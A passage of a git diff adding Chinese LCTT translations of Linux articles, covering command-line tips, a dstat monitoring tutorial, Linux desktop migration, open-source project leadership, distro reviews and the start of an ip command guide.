[LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://soundcloud.com/ +[2]:http://itsfoss.com/install-google-keep-ubuntu-1310/ +[3]:https://marketplace.firefox.com/ +[4]:http://itsfoss.com/install-spotify-ubuntu-1404/ \ No newline at end of file diff --git a/published/201406/Linux Pros' Top Command Line Secrets.md b/published/201406/Linux Pros' Top Command Line Secrets.md new file mode 100644 index 0000000000..816583a130 --- /dev/null +++ b/published/201406/Linux Pros' Top Command Line Secrets.md @@ -0,0 +1,106 @@ +Linux大神们的顶级命令行秘诀 +================================================================================ +![](http://www.linuxinsider.com/images/rw509807/command-line.jpg) + +**好吧**,Linux博客圈这里这周相对比较平静,给网民们一个拖了很久的机会集体喘口气吧,去享受一下龙舌兰、燕尾服、鸡尾酒带来的欢快吧,然后评估一下过去几周来发生的和自由开放软件相关的事件吧。 + +“你是否曾经在听一张专辑的时候想过‘伙计,这听起来不错,但是我希望它能经常从用户空间过渡到内核空间去!’”粉丝们在Facebook上写道,“我们会全力支持你的。我们的专辑现在完全可以作为一个可加载的Linux内核模块来播放。” + +Linux女孩曾经认为她自己已经完全进入Linux世界了,但是她现在却意识到她的想法是错误的。谢谢你们,粉丝们,是你们让生活一直这么有趣! + +### ‘命令行秘诀’ ### + +![](http://www.linuxinsider.com/images/article_images/linuxgirl_bg_pinkswirl_150x245.jpg) + +说到有趣,没什么比围坐在吧台前谈论行业内的事情来度过平静的一周更带劲了,而上周搞了一次。Linux博客圈内的生活很惬意。 + +座谈会内容是《Linux之声》——那本炫目出世的新杂志,读者也许记得它是[去年年底发布的][6]——而谈话的主题恰恰就是[命令行秘诀][7] + +Linux女孩太激动了。 + +### ‘它打算渲染大多数网页’ ### + +“有很多使用命令行的真正的好理由,”《Linux之声》的策划者写道,“它是让你和计算机进行交互的强大而简明的方法“ + +“然而,我想花点时间来看看它里头一些更为晦涩的用法(有人会说毫无意义,不值得去做了)。“他们补充说。 + +杂志首先列出的是elinks网页浏览器:“它可能看起来没有它的竞争对手那样光彩照人,但它的目标是能够渲染大多数网页。”他们解释道,“它也有着极客时尚,当你需要快速检查你是否能从只能通过SSH访问的计算机上去访问网页时,它就会派上用场了。“ + +之后谈到的包含了从维基百科上查阅一些定义等其它一些实用的小建议。 + +### '对维护很重要' ### + +“命令行的小技巧很有趣,真的很有趣。”比如,Google+博主亚历桑德鲁:埃伯索尔满怀热情地说,“但是他们忘了[cowsay][8],它可以用来在黑漆漆的终端里博你一笑。“ + +”命令行对于维护很重要。“他补充说,”大家可以使用bash脚本来自动化,只需按几个快捷键(或者只要一个就行)来完成复杂的任务。” + +其它命令行秘诀,埃伯索尔会把它们放进原来的列表的包括sl(蒸汽机车),以及这些[这些奇怪的点子][9]: + + * % cat "food in cans" + cat: can't open food in cans + * % nice man woman + No manual entry for woman. + * % [Where is Jimmy Hoffa? + Missing ]. + * % make love + Make: Don't know how to make love. Stop. + * % man: why did you get a divorce? + man:: Too many arguments. + +### '最珍贵的精华' ### + +“命令行秘诀?根本没这玩意。”博主[罗伯特:伯格森][10]告诉Linux女孩道,”失望了吧,新手?那就猛敲‘help’吧。还想要点提示?随便‘man’个什么吧。想更多来点不同?敲‘ls /bin /sbin /usr/bin /usr/sbin | less’,随便捡几个宝贝命令出来,整晚地‘man’去吧。我已经干那活超过十年了,到现在还玩得不亦乐乎。” + +伯格森记不得多久以前他发现了‘ssh’,但是“它是自由/开源软件世界中最璀璨的宝石了。“他说。 + +”ssh的强大力量在于,你可以在一台计算机上输入命令获得快乐,你更可以在100台计算机上干同样的事情来获得100倍的快乐。“他补充道,”当然,要输入100次命令可不是闹着玩的。所以,学习一下通过ssh安全地无密码登陆,可以让ssh的远程登陆透明化。“ + +### '带着尊重来用吧' ### + +当然,”就像干任何快乐的事一样,有人会沉迷于搞破坏。“伯格森警告道,”作为root用户,你可以输入命令来删除所有的东西,或者把这一切搞乱。“ + +”这是核弹按钮,就像全球领袖处理世界事务一样,在按下那个键之前一定要三思而后行,评估干这事所产生的结果,带着尊重和高尚的动机来使用它。“他补充道。 + +”我曾经删除了一个文件系统,因为我的大拇指在输入一个命令时不小心蹭到了空格键。“伯格森总结道,”坦白地说,这种蠢事我只干过一次。“ + +### '很强大' ### + +Google+博主贡萨洛:贝拉斯科C不那么热情。 + +“即使[GUI][11]工具更易用,在*nix领域,命令行仍然很强大。“他告诉Linux女孩,”甚至一些高级MacOS用户也用它们。” + +对于贡萨洛:贝拉斯科C他自己而言,“我想要掌握的唯一一些命令是进程控制和杀死命令,想要使用ctrl+alt+退格键,因为我可以用来处理给我造成麻烦的那个进程,我还想要掌握tar.gz文件的管理——那玩意到现在还让我头痛。“他说。 + +#### '你正在做错事' #### + +最后一点,但并非不重要,SoylentNews博主hairyfeet有一个完全不同的观点。 + +“我只想谈一件事情来充实一下命令行界面这个报道:如果你不干IT,而且做着一些重复的事情,而这些事情只是很简单、很原始地去记录一些有用的事情,但你还在用命令行,那么‘你在走一条不归路’“hairyfeet告诉Linux女孩,”命令行界面没什么神奇——它只是1970年代以来的一个图形化界面!“ + +今天,有很多“有用的图形化界面,这要多亏了CPU速度的提升和内存的增加,而不是一美元店里的廉价手表——我们甚至有IDE和脚本语言,大大超过70年代那些古董,可以在广域网或者局域网上工作,并与操作系统最底层交互,一切都在变得更易用,这多亏了智能感应和自动完成这样的技术。“他解释说,”所以上天作证,如果你不是那3%的系统管理员,工作在以字节计数的世界里,你会把那一堆垃圾从陈年旧帐中翻出来? + +这是Hairyfeet的最佳命令行建议?“不要——被21世纪那些不切实际的想法所左右,学学怎样真正来使用语言和工具吧。“他总结道,”让命令行成为泡影,把软盘都扔进历史的垃圾桶吧。“ + +> 本文作者Katherine Noyes总是尽忠职守扮演好她的Linux女孩,那件斗篷她从2007穿到现在了。作为一个白天举止温和的女记者,她晚上像逛夜店一样,为了搜寻最新的小道消息,在Linux博客圈上灌水。你也能在 [Twitter][12]和[Google+][13]上找到她。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxinsider.com/story/80437.html?rss=1 + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.computer.org/portal/web/pressroom/Linus-Torvalds-Named-Recipient-of-the-2014-IEEE-Computer-Society-Computer-Pioneer-Award +[2]:http://www.ieee.org/ +[3]:http://www.linuxinsider.com/story/80386.html +[4]:https://www.facebook.com/netcatband/posts/755205877853161?stream_ref=10 +[5]:http://www.netcat.co/ +[6]:http://www.linuxinsider.com/story/79448.html +[7]:http://www.linuxvoice.com/commandline-secrets/ +[8]:http://en.wikipedia.org/wiki/Cowsay +[9]:https://www.linux.com/community/blogs/133-general-linux/10408 +[10]:http://mrpogson.com/ +[11]:http://en.wikipedia.org/wiki/GUI +[12]:http://twitter.com/noyesk +[13]:https://plus.google.com/+KatherineNoyes?rel=author diff --git a/published/201406/Linux Terminal--Dstat monitoring tools.md b/published/201406/Linux Terminal--Dstat monitoring tools.md new file mode 100644 index 0000000000..198db278cc --- /dev/null +++ b/published/201406/Linux Terminal--Dstat monitoring tools.md @@ -0,0 +1,126 @@ +Linux终端下 dstat 监控工具 +================================================================================ + +dstat 是一个可以取代vmstat,iostat,netstat和ifstat这些命令的多功能产品。dstat克服了这些命令的局限并增加了一些另外的功能,增加了监控项,也变得更灵活了。dstat可以很方便监控系统运行状况并用于基准测试和排除故障。 + +dstat可以让你实时地看到所有系统资源,例如,你能够通过统计IDE控制器当前状态来比较磁盘利用率,或者直接通过网络带宽数值来比较磁盘的吞吐率(在相同的时间间隔内)。 + +dstat将以列表的形式为你提供选项信息并清晰地告诉你是在何种幅度和单位显示输出。这样更好地避免了信息混乱和误报。更重要的是,它可以让你更容易编写插件来收集你想要的数据信息,以从未有过的方式进行扩展。 + +Dstat的默认输出是专门为人们实时查看而设计的,不过你也可以将详细信息通过CSV输出到一个文件,并导入到Gnumeric或者Excel生成表格中。 + +###特性### + +- 结合了vmstat,iostat,ifstat,netstat以及更多的信息 +- 实时显示统计情况 +- 在分析和排障时可以通过启用监控项并排序 +- 模块化设计 +- 使用python编写的,更方便扩展现有的工作任务 +- 容易扩展和添加你的计数器(请为此做出贡献) +- 包含的许多扩展插件充分说明了增加新的监控项目是很方便的 +- 可以分组统计块设备/网络设备,并给出总数 +- 可以显示每台设备的当前状态 +- 极准确的时间精度,即便是系统负荷较高也不会延迟显示 +- 显示准确地单位和和限制转换误差范围 +- 用不同的颜色显示不同的单位 +- 显示中间结果延时小于1秒 +- 支持输出CSV格式报表,并能导入到Gnumeric和Excel以生成图形 + +### 安装方法 ### + +Ubuntu/Mint和Debin系统: + +本地软件库中有相关安装包,你可以用下面命令安装: + + # sudo apt-get install dstat + +RHEL/Centos和Fedora系统: + +你可以在romforge软件库中添加有相关安装包,参照[指导][2],使用如下命令很简单就能进行安装: + + # yum install dstat + +ArchLinux系统: + +相关软件包在社区资源库中,你可以用这个命令来安装: + + # pacman -S dstat + +###使用方法 ### + +dstat的基本用法就是输入dstat命令,输出如下: + +![](http://cdn.linuxaria.com/wp-content/uploads/2014/05/dstat.png) + +这是默认输出显示的信息: + +**CPU状态**:CPU的使用率。这项报告更有趣的部分是显示了用户,系统和空闲部分,这更好地分析了CPU当前的使用状况。如果你看到"wait"一栏中,CPU的状态是一个高使用率值,那说明系统存在一些其它问题。当CPU的状态处在"waits"时,那是因为它正在等待I/O设备(例如内存,磁盘或者网络)的响应而且还没有收到。 + +**磁盘统计**:磁盘的读写操作,这一栏显示磁盘的读、写总数。 + +**网络统计**:网络设备发送和接受的数据,这一栏显示的网络收、发数据总数。 + +**分页统计**:系统的分页活动。分页指的是一种内存管理技术用于查找系统场景,一个较大的分页表明系统正在使用大量的交换空间,或者说内存非常分散,大多数情况下你都希望看到page in(换入)和page out(换出)的值是0 0。 + +**系统统计**:这一项显示的是中断(int)和上下文切换(csw)。这项统计仅在有比较基线时才有意义。这一栏中较高的统计值通常表示大量的进程造成拥塞,需要对CPU进行关注。你的服务器一般情况下都会运行运行一些程序,所以这项总是显示一些数值。 + +默认情况下,dstat每秒都会刷新数据。如果想退出dstat,你可以按"CTRL-C"键。 + +需要注意的是报告的第一行,通常这里所有的统计都不显示数值的。 + +这是由于dstat会通过上一次的报告来给出一个总结,所以第一次运行时是没有平均值和总值的相关数据。 + +但是dstat可以通过传递2个参数运行来控制报告间隔和报告数量。例如,如果你想要dstat输出默认监控、报表输出的时间间隔为3秒钟,并且报表中输出10个结果,你可以运行如下命令: + + dstat 3 10 + +在dstat命令中有很多参数可选,你可以通过man dstat命令查看,大多数常用的参数有这些: + +- -l :显示负载统计量 +- -m :显示内存使用率(包括used,buffer,cache,free值) +- -r :显示I/O统计 +- -s :显示交换分区使用情况 +- -t :将当前时间显示在第一行 +- –fs :显示文件系统统计数据(包括文件总数量和inodes值) +- –nocolor :不显示颜色(有时候有用) +- –socket :显示网络统计数据 +- –tcp :显示常用的TCP统计 +- –udp :显示监听的UDP接口及其当前用量的一些动态数据 + +当然不止这些用法,dstat附带了一些**插件**很大程度地扩展了它的功能。你可以通过查看/usr/share/dstat目录来查看它们的一些使用方法,常用的有这些: + +- -–disk-util :显示某一时间磁盘的忙碌状况 +- -–freespace :显示当前磁盘空间使用率 +- -–proc-count :显示正在运行的程序数量 +- -–top-bio :指出块I/O最大的进程 +- -–top-cpu :图形化显示CPU占用最大的进程 +- -–top-io :显示正常I/O最大的进程 +- -–top-mem :显示占用最多内存的进程 + + +举一些例子: + +查看全部内存都有谁在占用: + + dstat -g -l -m -s --top-mem + +显示一些关于CPU资源损耗的数据: + + dstat -c -y -l --proc-count --top-cpu + +###如何输出一个csv文件### + +想输出一个csv格式的文件用于以后,可以通过下面的命令: + + # dstat –output /tmp/sampleoutput.csv -cdn + +-------------------------------------------------------------------------------- + +via: http://linuxaria.com/howto/linux-terminal-dstat-monitoring-tools + +译者:[disylee](https://github.com/disylee) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linuxaria.com/tag/network +[2]:http://www.tecmint.com/install-and-enable-rpmforge-repository-in-rhel-centos-6-5-4/ diff --git a/published/201406/Making Linux Feel at Home.md b/published/201406/Making Linux Feel at Home.md new file mode 100644 index 0000000000..64f115d2e8 --- /dev/null +++ b/published/201406/Making Linux Feel at Home.md @@ -0,0 +1,136 @@ +让Linux宾至如归 +================================================================================ +**采用小企鹅不管是对于小企业还是大企业而言,都是一个明智的选择。Linux曾经被认为是业余爱好者的操作系统,但是经历了很长一段历程后,现在它成了企业级系统。它很稳定,而且很安全。Linux易于定制,而且有庞大的社区提供帮助。这只是迁移到Linux桌面的部分理由。** + +![](http://www.linuxinsider.com/images/rw979454/linux-migration.jpg) + +迁移到一个不同的系统,从来都不是件容易的事。继续开着窗户(Windows),或吃着苹果(MacIntosh)可能是个令人沮丧且代价高昂的体验。花钱升级新的硬件来赶上高贵的新软件时髦,这往往是毫无价值的做法。 + +在家里或一个小型的办公环境中运行一个Linux发行版,这是个有益的尝试,它可以带来开支的节约和效率的提升。对于企业环境而言,采用Linux服务器系统来替代微软基础架构常常是个明智的商业选择。 + +然而,放弃熟悉操作系统下的舒适环境的过程看起来比实际更具挑战性。个人用户和中小型企业可以分阶段迁移到Linux桌面。软件是免费的,而用户已有的硬件是可以支持Window和Linux架构的。 + +许多更大型的企业已经跑起了它们自己的Linux服务器仓库和完整的Linux桌面应用,这里它更容易适应。基于云的软件的使用使得办公室人员在使用他们的工作站工作时意识不到有很大的改变。 + +“是否迁移到Linux取决于使用情况。如果在家里使用,或者从事开发,那么你会想使用Linux中所有可用的功能。那是没脑子的想法。迁移到另外一个操作系统从来没有一帆风顺的。没有哪种使用情况可以适合所有场合,它取决于用户基础。“麦克 瓦伊塔尔,[Talkpoint][1]首席技术官,告诉LinuxInsider。 + +在中小型企业中和企业客户一起工作,瓦伊塔尔发现,利用新技术的个人用户和公司领导者的数量在增长,这些新技术将他们吸引到Linux中来。 + +### 舒适度期望值 ### + +这些Linux技术之一就是Chrome OS,还有现在由基于Linux的Chrome操作系统驱动的廉价笔记本。 + +由于用户已经熟悉Google的Chrome浏览器,或者开源的Chronium浏览器项目,使用Chromebook或者基于云的运载系统使得迁移到Linux变得小菜一碟。 + +“忽略使用的操作系统,其中一个问题是浏览器的能力。我们已经发现,用户85%的时间花在浏览器中”[Splashtop][2]的共同创立者及产品管理高级副总裁托马斯.邓这样对LinuxInsider说。 + +邓发现,那些有着快速学习曲线、能适应较新技术的人对此越来越有兴趣。人们使用多种多样的产品。因此迁移到一个与他们在其它设备上使用过的系统类似的系统,会使得迁移更平稳。 + +### Chrome迎合潮流 ### + +移动设备用户,不管是在家中还是工作中,越来越精通Linux,而他们根本不知道这是个什么系统。他们在几个操作系统间切换。伴随着熟练程度的提高,开源环境也越发让人感觉舒适。通过云平台来分发跨平台软件,这是一个附加的迁移措施。 + +“Google正在做的是与办公套件相关的一些真正有趣的事情。Google现在正在它的Chrome OS上敞开大门。”瓦伊塔尔说。 + +对于关闭窗户(Windows),敞开大门(Chrome OS),一个很好的例子是它的公司内部使用Chrome驱动的工具。例如,Talkpoint使用ChromeBox设备。 + +“那就为多媒体团队和传统的AV用户敞开了大门。我们看到该技术上的很多进展。”瓦伊塔尔解释说。 + +### 平板打破传统 ### + +另外一个Linux设备为迁移到桌面OS铺平道路的例子是安卓系统的流行。加上这个为智能手机和平板电脑改良的Linux发行版。 + +“对于迁移到Linux的人而言,人们对平板界面感到很舒服,尤其是在对Windows 8界面感到不满之后。我认识的每个人都试着回到Windows 7。”瓦伊塔尔说。 + +### 云计算具有Linux影响力 ### + +人们希望使用像MS Offcie这样熟悉的生产工具来进行文字处理。而在Windows平台上,开源产品不怎么被人熟知。因此,在开始迁移到完整的Linux桌面之前,先整合开源工具到原有平台会很有帮助。邓解释道。 + +随着Google Docs和Google Chrome浏览器的流行,Windows用户不知道开源的趋势正在发生改变。他指出。 + +“让迁移到Linux变得方便的另外一条路是迁移到云端,使用云端应用。”邓说。“对用户进行教育,是将用户迁移到Linux的最有效的方式。Chromebook正大量被采用,这是一条迁移到Linux便捷的道路。” + +### 小企鹅威猛 ### + +聘请Tux,Linux的吉祥物小企鹅,对于小企业和大企业来说都是明智的选择。它是一个成熟、稳定而又灵活的操作系统,绝对可以帮你干活。据肖恩.塞乐,[视觉解决方案][3]高级产品经理说。 + +“对于小型商业公司,运行Linux来替代其它操作系统是令人信服的选择,而且也带来优势,当然这取决于你的公司的需求。”塞乐告诉LinuxInsider。 + +它曾经被认为是业余爱好者的操作系统,但是经历了很长一段历程后,现在它成了企业级系统。它很稳定,而且很安全。Linux易于定制,而且有庞大的社区提供帮助。这只是迁移到Linux桌面的部分理由。 + +### 商业加分 ### + +利用更多的社区支持模式可以节约成本,塞乐说。Linux可以获得免费的社区支持,也可以付费订阅完整的技术支持。一些Linux版本也有硬件和软件认证这些东西,这些对于某些工作环境是很重要的。 + +例如,小型商业公司和大型企业可以完整地免费运行像CentOS或者OpenSuse这样的发行版,或者也可以从[Red Hat][4]或者Suse来整合付费的版本。即便是一个完整的订阅服务,Linux也比Windows或者传统的Unix提供了更低的总拥有成本,以及更好的投资回报,塞乐解释道。 + +“我相信,让小型企业来切身体验一下Linux很有意义。”塞乐补充道,“由于在社区以及像IBM和Red Hat这样的公司的帮助下,开源软件总体上正以快速的步伐帮助推动革新,Linux有一个光明的前途。” + +### 小心爽一把 ### + +操作系统在家庭和工作场所有不同的忠实用户。就拿BDNA的CTO沃克.怀特来说吧。他在家里使用Linux作为桌面操作系统,但是他的家人却对他热衷的东西并不买账。 + +“我的家人用Mac之类的。他们盲目追随市场营销和功能炒作,而根本不考虑性能之类的东西。我在家里进行一个人的圣战,试着策反更多的人来加入Linux阵营。”怀特告诉LinuxInsider。 + +在他的公司里有类似的死忠派在奋斗,他说道,他公司里Linux桌面使用并不普遍 —— 但他们为Linux在工作中更广泛地部署打下了基础。 + +BDNA在内部使用Google应用很多。公司也在把越来越多的东西迁移到基于云计算的产品中。无论如何,这会给筹备中的工作更多的支持。 + +“当我切换到想OpenOffice这样的应用时,该操作必须真正实现无缝操作以捕获更多人的心。从纯市场角度看,开发者需要稍稍改变一下游戏规则。苹果赢得了年轻孩子和30岁年轻一代的心。我经常在我公司听到这样的想法。”他说。 + +### 小企鹅对战苹果 ### + +增加新的硬件设备是高端的MacBook Pro的特点,怀特解释道。尽管他们主要使用的工具是在线工具,BDNA的职员还是想要华而不实的,高度宣传的硬件。 + +为了打破这种观念,他不得不将操作系统和硬件的功能分离。战役的一部分是将用户与操作系统本身隔离。而这只有在企业同时有在线和离线的生产力应用程序才会发生,据怀特说。 + +“即使是使用文件管理器这样简单的事情,也应该将注意力放在操作系统允许我们在我们使用的应用里头做什么,而不是操作系统本身。”他说。 + +### 爽到极点 ### + +操作系统多大程度上控制计算机用户?这个问题对于迁移到Linux而言很关键,怀特说。 + +想想Chromebook以及安卓手机和平板的不断成功,消费者真的需要知道他们正在运行Linux么? + +“我认为迁移到Linux以及Linux在家里成功的关键在于,我们可以在线做多少事情。”怀特说,“因为我在家里使用Linux,所以我看到了其中的优势。” + +你是否启用家庭消费者层面的设置,或是转向家庭或小企业用户设置,重点在于用户可以兼容他们使用的工具和功能。这里头包括像共享和创建文档,以及与之相关的事情,他说明道。 + +### 迁移措施 ### + +对于市场而言,软件和硬件生产商需要减少对操作系统的关注。例如,Chromebook正以苹果销售MacBook类似的方式获得大众认可。Google与其说是在贩卖Linux操作系统,倒不如说它是在销售应用,怀特回答道。 + +“开发者真正需要做的是改变工作重点,让用户和Linux相处融洽,而不是让他们停留在使用非Windows,或者非Mac操作系统的踌躇上。不管你用什么,必须可以让它做你想让它做的事。像Chromebook这样的事物正是秉承了这样的观点,将Linux操作系统本身掩盖了起来。”他指出。 + +计算机生产商必须首先开始打破“它是Windows”或者“它是Mac”这样的模式。到那个时候,迁移到Linux的数量才会大幅攀升,怀特总结道。 + +“这无关操作系统品牌,”他说,“而在于运行该操作系统的设备所能做的事。” + +-------------------------------------------------------------------------------- + +via: http://www.linuxinsider.com/story/80415.html + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.talkpointcommunications.com/ +[2]:http://www.splashtop.com/ +[3]:http://www.visionsolutions.com/ +[4]:http://www.redhat.com/ +[5]:http://www.bdna.com/ +[6]:http://www.openoffice.org/ +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: +[13]: +[14]: +[15]: +[16]: +[17]: +[18]: +[19]: +[20]: diff --git a/published/201406/Open Source's Cult Of Personality Is Dying--Thankfully.md b/published/201406/Open Source's Cult Of Personality Is Dying--Thankfully.md new file mode 100644 index 0000000000..ae25e4e17a --- /dev/null +++ b/published/201406/Open Source's Cult Of Personality Is Dying--Thankfully.md @@ -0,0 +1,60 @@ +谢天谢地,开源软件中的个人崇拜正在消亡! +================================================================================ +“开源之神圣独裁者”越来越少了,不过没事! + +Roy Rubin这位流行的电子商务开源项目[Magento][1]的联合创始人,从这一2008年启动的项目中功成身退后在[这周说出了][2]上面这样的话语。 + +![](http://readwrite.com/files/styles/1400_0/public/fields/richardstallman_0.jpg) + +这已经不是第一次一个开源项目的领导者出走项目了,但值得注意的是对于它带来的反响是:没啥大的反应。 + +并不是因为Rubin对于Magento项目不重要,实际上他非常重要。六年来,Rubin实际上是Magento项目的灵魂。但是开源软件一直在成长,它一直在削弱个人对其的影响。当然没人希望Linux的创始人Linus Torvalds不小心被车撞了,在这点上我们是[爱他][3]的。但是另外一方面其实我们并不太在意。 + +但是并不总是这样的。 + +### 崇拜开源之神圣独裁者! ### + +在好的一面,成功的开源项目一直以来都和伟大的领导者密不可分。对一个充满活力又有独立思想的一个开发团体施加影响,必定是众口难调的事情。在一个专门的开源项目当中不同的观点会产生各种不同的路线(在代码层上,管它叫做“分支”),通常这时候,要么是“开源之神圣独裁者”,要么是项目领袖,将会介入,施展自己的领导才能让开发人员团结在一起。 + +“[开源之神圣独裁者 BDFL][0]”这个词[可能第一个用于Python项目的领导者Guido von Rossum][4]。它现在也被用到了Linux的发明人Linus Torvalds身上,以及Ubuntu的领导者Mark Shuttleworth和其他人身上。有时候另外两个人也会冠以这个称号,比如[Django][5]项目的Adrian Holovaty和Kaplan-Moss。(LCTT译注:BDFL,benevolent dictator for life ,由LCTT 核心译者 Viz 建议译作“开源之神圣独裁者”。) + +在他们影响力最大的时候,这些领袖离开项目会对项目的将来产生灾难性的影响,这展现出这些伟大领导者与项目之间紧密的关联。但是,有时候,也不总是这样。Django的领导者[去了其他的项目][6],但是Django依然不断前行着,像Python、Lucene(领导者Doug Cutting)、Jboss(领导者Marc Fleury)和其他很多的项目也是这样。 + +现在开源软件研发的团体依然围绕着伟大的领导者,但我们似乎并不像曾经的那样依赖他们了。开源软件的“个人崇拜”正在褪色,也有可能已经消亡了,但是接下来会怎么样呢? + +### Apache和开源社区的崛起 ### + +是的,社区开始崛起了。我意识到我在做出一些自以为是的论调,但是根据我在开源项目15年的经验来说,我观察到开源软件项目从非常严格的控制阶段缓慢的转向了松散的开源团体,他们经常是因为兴趣才互相合作的。 + +当然并不清楚是先有 BSD/Apache之类的许可证的“鸡”还是后有开源软件相互合作的“蛋”,这两个很明显的一起改变了开源软件的运作模式。 + +当然还是需要“开源之神圣独裁者”。举个例子,当自由GNU还不是一个项目时,很难想象如果没有了Richard Stallman会是怎么样。相反的,很容易想象Apache Hadoop如果没有领导会怎么样…,等等,好像Hadoop真的没有人领导… + +如果真的要说答案的话,那就是这里每个人或者[许多人][7]。当然Hadoop由Doug Cutting启动,但是它已经发展成了一个公司和个人(不过大多数的公司雇佣了这些人)的协作的社区。 + +OpenStack与之类似,[被涉及的公司所主导][8],如果某一个Openstack的开发者离开了,Openstack依然能够继续。因此,对于一个成员正在增加的开源项目来说,这种类似是确信无疑的。 + +### 未来不需要“开源之神圣独裁者”吗? ### + +并不是说在以后的开源项目中不需要领导者。需要,但是越来越多的开源项目转为团体之间的合作,失去他们的风险消失了。坦白的说,即使公司们没有深入的参入进来,Apache许可证的项目反正也不依赖“开源之神圣独裁者”们。 + +Photo of Richard Stallman [courtesy of Friprog on Flickr][9] + +-------------------------------------------------------------------------------- + +via: http://readwrite.com/2014/05/02/open-source-magento-roy-rubin-bdfl#feed=/hack&awesm=~oDgSTEdnXAjUv0 + +译者:[jiajia9linuxer](https://github.com/jiajia9linuxer) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://magento.com/ +[2]:http://magento.com/blog/magento-news/note-roy-and-mark#.U2JhPK1dVii +[3]:http://www.serverwatch.com/server-news/if-linus-torvalds-got-hit-by-a-bus-would-linux-die.html +[4]:http://www.artima.com/weblogs/viewpost.jsp?thread=235725 +[5]:https://www.djangoproject.com/ +[6]:http://www.theatlantic.com/technology/archive/2014/01/on-the-reign-of-benevolent-dictators-for-life-in-software/283139/ +[7]:http://hadoop.apache.org/who.html +[8]:http://activity.openstack.org/dash/releases/ +[9]:https://www.flickr.com/photos/friprog/ +[0]:http://en.wikipedia.org/wiki/Benevolent_dictator_for_life diff --git a/published/201406/Pros' Secrets and Red Hat 7 and PCLinuxOS 2014.05 Reviews.md b/published/201406/Pros' Secrets and Red Hat 7 and PCLinuxOS 2014.05 Reviews.md new file mode 100644 index 0000000000..a9c9d21cce --- /dev/null +++ b/published/201406/Pros' Secrets and Red Hat 7 and PCLinuxOS 2014.05 Reviews.md @@ -0,0 +1,36 @@ +点评 Redhat RHEL 7和PclinuxOS 2014.05 +================= + +在最近的Distrowatch杂志上,Jesse Smith尝试了一下RHEL 7桌面版本。在安装上,“从RHEL安装介质启动到一个图形化的系统安装界面,RHEL用了和最近发布的Fedora一样的新的Anaconda安装方式。就我个人来说新的安装方式是一种倒退”他说道。这没啥大不了的,他猜测在桌面版本就是这样的吧。Smith说他希望有一种图形化的软件包管理工具,因为用户只能在命令行下使用YUM源,只能使用标准的默认库。之后,GNOME shell登录崩溃了,只能使用KDE登录。虽然有些困惑但是他非常喜欢新的防火墙配置工具。请看他的[详细报告][2]。 + +**在**ZDNet.com上,Jamie Watson对新发布的PCLinuxOS 2014.05发表了自己的看法。他说道: + +> 这是个有趣的看法,你可能从它的名字当中想到它包含了很多软件,补丁,驱动在非标准的分支中。最有趣的一点是,基于活动聚焦的虚拟桌面配置。这种趋势使PCLinuxOS使用起来既有趣又简单,提供了以下的桌面环境,个性化的图标: + +> 互联网:浏览器,邮件,聊天工具 + +> 工作:office、kile、scribus + +> 娱乐:游戏 + +> 多媒体:音乐,视频的编辑和创作 + +> 图形和图像:浏览,编辑和创作 + +> 管理:系统管理任务 + + +“PCLinuxOS始终使用原来的安装方式,它来源于Mandriva/Mandrake安装方式”Watson提到。它还带来了新的内核,最新的软件,和多样化互动的界面。[他总结道][3]:“这个新发布的PcLinuxOS版本很不错”。另外Watson在几周前也测试过了Ubuntu、Debian和LMDE。 + +-------------------------------------------------------------------------------- + +via: http://ostatic.com/blog/pros-secrets-and-red-hat-7-and-pclinuxos-2014-05-reviews + +译者:[jiajia9linuxer](https://github.com/jiajia9linuxer) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.linuxinsider.com/story/Linux-Pros-Top-Command-Line-Secrets-80437.html +[2]:http://distrowatch.com/weekly.php?issue=20140512#feature +[3]:http://www.zdnet.com/hands-on-with-pclinuxos-2014-05-kde-and-lxde-the-linux-with-something-for-everyone-7000029297/ +[4]:http://www.zdnet.com/testing-ubuntu-debian-and-lmde-on-my-new-notebook-7000029202/ diff --git a/published/201406/Start Practising Linux ip command and Avoid the Habit of Using ifconfig.md b/published/201406/Start Practising Linux ip command and Avoid the Habit of Using ifconfig.md new file mode 100644 index 0000000000..9394ecd351 --- /dev/null +++ b/published/201406/Start Practising Linux ip command and Avoid the Habit of Using ifconfig.md @@ -0,0 +1,121 @@ +试试Linux下的ip命令,ifconfig已经过时了 +================================================================================ +linux的**ip**命令和**ifconfig**类似,但前者功能更强大,并旨在取代后者。使用ip命令,只需一个命令,你就能很轻松地执行一些网络管理任务。ifconfig是net-tools中已被废弃使用的一个命令,许多年前就已经没有维护了。iproute2套件里提供了许多增强功能的命令,ip命令即是其中之一。 + +![Net tools vs Iproute2](http://linoxide.com/wp-content/uploads/2014/05/Linux-Nettools-vs-Iproute2.png) + +要安装ip,请[点击这里][1]下载**iproute2套装工具** 。不过,大多数Linux发行版已经预装了iproute2工具。 + +你也可以使用git命令来下载最新源代码来编译: + + $ git clone https://kernel.googlesource.com/pub/scm/linux/kernel/git/shemminger/iproute2.git + +![iproute2 git clone](http://linoxide.com/wp-content/uploads/2014/04/iproute2-git-clone.png) + +### 设置和删除Ip地址 ### + +要给你的机器设置一个IP地址,可以使用下列ip命令: + + $ sudo ip addr add 192.168.0.193/24 dev wlan0 + +请注意IP地址要有一个后缀,比如/24。这种用法用于在无类域内路由选择(CIDR)中来显示所用的子网掩码。在这个例子中,子网掩码是255.255.255.0。 + +在你按照上述方式设置好IP地址后,需要查看是否已经生效。 + + $ ip addr show wlan0 + +![set ip address](http://linoxide.com/wp-content/uploads/2014/04/set-ip-address.png) + 